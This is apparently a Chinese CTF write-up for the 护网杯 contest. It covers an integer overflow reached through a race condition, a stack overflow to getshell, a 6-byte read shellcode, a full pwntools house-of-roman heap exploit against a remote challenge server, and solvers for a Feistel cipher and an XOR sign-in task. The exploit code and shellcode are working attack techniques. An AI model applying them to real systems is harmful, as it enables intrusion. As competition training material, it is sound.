护网杯 wp

Web – Ltshop

先用条件竞争取得>5 的大辣条数目，然后在批量兑换的时候溢出。这里有个上限值

18446744073709551615，所以 18446744073709551615/5 = 3689348814741910323 ，

使用 3689348814741910324 即可溢出得到 flag

Pwn

Getting start

水题，栈溢出覆盖 0x18 一个 longlong=0x7fffffffffffffff

覆盖 0x20 一个 double=0.1 即可 getshell

double=0.1 对应的 16 进制值可以直接：

```
double a=0.1;
printf(“%llx”,a);
```

six

允许输入 6byte 代码，且满足奇数=偶数 and 没有重复字符

然后跳转到代码前将所有寄存器清零并把一个 mmap 的值+0x500 存在 rsp 里面

由于 mmap 地址为 6 位随机数&0xfffffffffff0000，当两次地址最高位都大于 0x7f...时，会使

得这两个地址连续，使得往 rsp 里写入数据溢出到可执行的第二个 mmap 地址成为可能。

找到了一个可以满足条件的：

```
shellcode='''
	push rsp

	pop rsi //等同于 mov rsi,rsp  且只占用 2byte

	dec edx //edx-1  等同于  0-1  等同于  将 0xffffffff(一个大数)赋值给 edx

	syscall //执行 read 系统调用，由于 rax 已被清零  而 0 刚好是 read 的调用号
'''
```

通过 len(asm(shellcode))查看长度发现刚好 6 位 且能通过 check

Calendar

house of roman 的简单变种，没有什么特别之处。直接上 exp(爆破非常蛋疼)

```
from pwn import *

local=0
#pc="/tmp/pwn/task_calendar_debug"
remote_addr=['117.78.26.135',32711]
#aslr=True
#context.log_level=True


if local==1:
	p = process(pc,aslr=aslr,env={'LD_PRELOAD': './libc.so.6'})
	gdb.attach(p,'c')
else:
	p=remote(remote_addr[0],remote_addr[1])

ru = lambda x : p.recvuntil(x)
sn = lambda x : p.send(x)
rl = lambda     : p.recvline()
sl = lambda x : p.sendline(x)
rv = lambda x : p.recv(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a,b)

def lg(s,addr):
	print('\033[1;31;40m%20s-->0x%x\033[0m'%(s,addr))

def raddr(a=6):
	if(a==6):
		return u64(rv(a).ljust(8,'\x00'))
	else:
		return u64(rl().strip('\n').ljust(8,'\x00'))

def choice(idx):
	sla("choice> ",str(idx))

def add(idx,size):
	choice(1)
	sla("choice> ",str(idx))
	sla("> ",str(size))

def edit(idx,size,content):
	choice(2)
	sla("choice> ",str(idx))
	sla("> ",str(size))
	sa("> ",content)

def remove(idx):
	choice(3)
	sla("choice> ",str(idx))

if __name__ == '__main__':
	sla("> ","AAA")
	add(1,0x38)
	add(2,0x48)
	add(3,0x68)
	add(4,0x38)
	edit(1,0x38,"\x00"*0x38+p8(0xe1))
	edit(4,0x28,p64(0x21)*5+'\n')
	remove(2)
	remove(3)
	add(2,0x48)
	add(4,0x58)
	edit(2,0x48,"\x00"*0x48+p8(0x71))
	edit(3,1,'\xed\xba')
	add(4,0x28)
	edit(1,0x38,"\x00"*0x38+p8(0xe1))
	add(3,0x68)
	add(3,0x68)
```

```
try:
        remove(2)
except:
        exit()
edit(1,0x38,"\x00"*0x38+p8(0x51))
edit(2,0x8,"\x00"*9)
add(2,0x48)
edit(3,0x15,"A"*0x13+p64(0x7f3811c072a4)[0:3])
add(1,0x12)
p.sendline("cat flag")
p.interactive()
```

Crypto – fez

```
def xor(a,b):

        assert len(a)==len(b)

        c=""

        for i in range(len(a)):

         c+=chr(ord(a[i])^ord(b[i]))

         #c+=chr(a[i]^b[i])

        return c



K = ['K'+ str(i) for i in range(1,8)]



def round(M,K):

        L=M[0]

        R=M[1]

        new_l=R
        new_r=R + ' ' + L + ' '+ K

        return new_l , new_r




def fez():

        m = ("L0" ,"R0")

        for i in K:

         m = round(m,i)

        print(m)

        print("L0",m[0].count("L0"))

        print("R0",    m[0].count("R0"))

        print("L0",m[1].count("L0"))

        print("R0",    m[1].count("R0"))

        for i in K:

         print(i , m[0].count(i))

         print(i , m[1].count(i))



def get_key_part(test    ,test_K):


        L0 ,R0    = test[:27] , test[27:54]
```

```
    L_k    ,R_k = test_K[:27] , test_K[27:54]


    print("R0:" ,R0)

    print("Lk:" , L_k)

    K2356 = xor(L_k , R0)

    K13467 = xor(xor(L0 ,R0) , R_k)


    return K2356 , K13467

    pass


def getflag(flag_K , k1,    k2):


    l16    ,r16 =    flag_K[:27] , flag_K[27:54]


    r0 = xor(l16 , k1)

    l0 = xor( r0, xor(r16 , k2))

    return l0+r0

    pass




def hack():

    f = open('fez1.log',"r")
    content =f.read()

    content = content.split('\n')

    '''test = str(long_to_bytes(int(content[0],16)))

            test_K = str(long_to_bytes(int(content[1],16)))

            flag_K = str(long_to_bytes(int(content[2],16)))'''

    '''test =str( bytearray.fromhex(content[0]))

            test_K = str(bytearray.fromhex(content[1]))

            flag_K = str(bytearray.fromhex(content[2]))'''

    print(content)

    test = content[0].strip().decode("hex")

    test_K = content[1].strip().decode("hex")

    flag_K= content[2].strip().decode("hex")

    print( len(test), test)

    print(len(test_K) , test_K)

    print(len(flag_K) , flag_K)

    k1, k2 = get_key_part(test ,test_K)


    print(getflag(flag_K , k1,k2))


if __name__ == '__main__':

    #fez()

    hack()
```

```
pass
```

misc-签到题

```
import base64
def xor(a ,b):
        assert len(a) == len(b)
        ret =""
        for i in range(len(a)):
                ret += chr(ord(a[i]) ^ ord(b[i]))
        return ret
string = 'AAoHAR1QUiBTJVBQI1RVIl5WJVInUlNWIFZUX1ZRJ1dWU1dfURs='
string = base64.b64decode(string).decode()
def get_res(s , i):
        ret = ""
        for char in s:
                ret += chr(ord(char) ^ i)
        return ret

for i in range(1,0xff+1):
        s = get_res(string , i)
        if '{' in s:

                print(s)
```